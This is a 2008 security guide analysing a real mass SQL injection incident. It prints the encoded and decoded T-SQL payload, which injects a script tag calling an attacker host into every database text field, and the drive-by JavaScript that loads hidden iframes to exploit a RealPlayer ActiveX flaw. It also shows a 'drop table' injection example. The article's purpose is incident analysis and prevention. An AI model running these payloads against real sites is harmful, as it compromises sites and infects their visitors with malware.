Security Reference Guide

Mass Automated SQL Injection Attacks

Last updated May 23, 2008.

The internet is home to some 6+ million active websites. Of these, a significant number use database back end SQL (Structure Query Language) servers to hold the dynamic content that helps to provide an interactive experience for the visitor. To create such a site, a web developer must spend countless hours programming the link that syncs the web page content with the information held in the database server. While the abstract outline of this process seems fairly innocuous, the reality is that this link can be exploited by attackers if the programmer does not take into consideration that a "user" does not have to play by the expected rules. The end result is that a website that does not take proactive measure to keep malicious hackers at bay will find their website getting some unwanted attention.

In this update we are going to take a look at one of the latest plagues that have hit the internet known as Mass Automated SQL Injection. This attack has already claimed over 100,000 sites and is still going strong. The following paragraphs will detail how the attack is perform, what is accomplishes, and how to prevent it. All the following details are a result of an audit of a real attack that was performed against a popular tourist site — names and faces have been changed.

The Probe

Prior to attack, the website experienced several probes from a small range of hosts that were both fingerprinting and obtaining a list of potential weak spots in the web application. The probes were spread out and came from different IP addresses as to avoid detection, yet they quickly cut to the core of the flaws that site contained. One such probe was as follows:

/search.asp fldSearch=%3ca+href%3d%22http%3a%2f%2falarms.fizzalarms.com%2fbodyalarms%2f%22++title%3d%22body+alarms%22%3ebody+alarms%3c%2fa%3e&btnSearch=%3E

In this probe, the script appears to be looking for any indication that a SQL injection attack against the search.asp page would be successful. Since the returning content did include enough content to deduce the possibility of a vulnerability, it is no surprise that this probe resulted in an attack.

SQL Injection Primer

SQL injection involves the embedding of extra SQL commands into SQL query that the web server passes to the back end database server. While the creation of a valid and working SQL injection attack various from web server platform to database server, the general concepts apply to most any web application. This type of attack is not new; however, it is only relatively recently that malicious hackers have focused on this vector to spread their malware.

To illustrate, the following is a sample piece of typical code that takes in a fldSearch value and embeds it directly into the SQL query.

searchValue=Response.QueryString('fldSearch')
sqlQuery='select * from tblSearch where fldSearch='"&searchValue&"'"

Assuming the fldSearch value was "informit," the resulting query would be:

Select * from tblSearch where fldSearch='informit'

However, if the fldSearch value was "informit;drop tblSearch;--" the resulting query would be:

SELECT * from fldSeach where fldSearch='informit';drop tblSearch;--

The result of this would be that the initial results would be returned to the web application, after which the entire table would be removed from the server. Given the power and many, many other functions contained in the typical SQL server, it is also possible to execute system level commands, insert data where it doesn't belong, download databases, and much more.

The Attack

Initially, the attackers attempted to force through a large encoded SQL injection string via a GET request. However, on this particular server, all GET requests are limited to 256 bytes. As a result, much time and bandwidth was wasted for nothing. Eventually though, something shifted and a POST request was sent to the web server that looked something like this (shortened for brevity).

/search.asp fldSearch=cvb';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C00400043002000760061007200630068006100720028003.............%20AS%20NVARCHAR(4000));EXEC(@S);-- 

This particular SQL injection string is quite interesting in that the core of the attack is encoded to prevent the web application from choking on the many characters that don't typically belong in a basic search request. For example, since all quotes are encoded as hex data, they will not break the SQL query any more then the initial quote used to embed the attackers SQL command.

To decode this data, you can simply open up the Query Analyzer on a test database and insert the entire query. The catch is that you must change the EXEC at the end to a SELECT instead. This will cause the entire encoded query to be decoded and outputted as a row of data. The following is what we found when we decoded our injected string.

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor 
CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor 
INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN exec(’
update [’+@T+’] 
set [’+@C+’]=rtrim(convert(varchar,[’+@C+’]))+’’<script src=http://www.killwow1.cn/g.js></script>’’’)
FETCH NEXT FROM Table_Cursor 
INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

When executed as designed, the SQL query scans two system tables for a list of all user created table and all text fields within those tables and then inserts "<script src=http://www.killwow1.cn/g.js><script>" into each and every entry it finds. The end result is that any dynamic content that is pulled from the web application and written out to a webpage will contain a little JavaScript command that will execute in the browser. On many sites, this little JavaScript Trojan remains mostly unnoticeable, especially to the typical internet user.

The Real Target

While there are over a hundred thousand web sites out there that have been compromised by this attack, they are not the real target. Instead, the true victim is the unsuspecting visitor of the site whose browser executes the embedded JavaScript code. The following explains why.

In this case, the initial .js file contained the following code, which essentially creates a mostly invisible IFRAME that loads yet another webpage, but ONLY if the system is not using the Chinese language.

if (navigator.systemLanguage==’zh-cn’)
{}
else{
document.writeln("<iframe src=\"http:\/\/http://www.killwow1.cn\/cc\/index.htm\" width=\"100\" height=\"0\"><\/iframe> ");
} 

Once the page loads, the script on the page then attempts to determine if the browser has to power to process binary code, which IE does by default. From here the script attempts to load up the RealPlayer ActiveX control and exploits a known vulnerability. If this control is not available, the code then loads two additional IFRAME's, the first that attempts to exploit an XML vulnerability and the second that tries to exploit a VML vulnerability. All in an effort to download and execute a piece of malware. The following highlights this code:

try{ var e;
var ado=(document.createElement("object"));
	ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
	var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
	if(e!="[object Error]"){
		document.write("<iframe width=50 height=0 src=14.htm></iframe>")}
	else
	{	
		try{ var j;
		var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}
	catch(j){};
		finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
{document.write(’<iframe width=10 height=0 src=rl.htm></iframe>’)}
             else
             {
			document.write(’<iframe width=10 height=0 src=new.htm></iframe>’)}}}

			document.write(’<iframe width=50 height=0 src=04.htm></iframe>’)

	if(j=="[object Error]")
		{location.replace("about:blank");}
	}
}

Unfortunately, this collected exploited attack is all too common because it works. Ironically, soon after this initial attack took place, the server was attacked again via the same exact process, except this time the attack script went right for the jugular and inserted "<script src=http://www.direct84.com/7.js></script>" into the database partially top of the previous insertion resulting in "<script <script src=http://www.direct84.com/7.js></script>," which is very noticeable on a website. This is when the client caught on to the attack and shut down the site, restored everything from backup and called us for help.

Prevention

Unfortunately, there is little one company can do legally to prosecute these types of attacks. They come in from numerous IP addresses, all of which are probably remotely owned by some attacker or part of a botnet. The only way to avoid these attacks is to prevent them from occurring.

In order to prevent this attack, the web application must filter out all unwanted characters and encode the rest to something safe. There is really no need for anything other than a A-z, 0-9, and the special characters of & or % from entering the database. All other characters can be encoded into alternate formats. Had this been the case, the client would have only ended up with some strange looking log files.

Summary

SQL injection has been around for years. Yet, many web developers seem to be only vaguely aware of its existence. The end result is that there is a huge collection of web sites on the Internet that are vulnerable to this type of attacker. While this string of mass automated attacks is wrecking havoc on many of these sites, there is a silver lining on this problem: thousands of developers are learning the SQL injection is a real threat.

Now if only they would take threats like XSS, CRSF, and the like just as seriously!

This typically involves creating a query using SQL (structure query language) statements that cause the database to perform some type of action. On the normal site, this is typically limited to SELECT, UPDATE, DELETE, and INSERT commands; however, the typical enterprise database can perform many other more complex commands.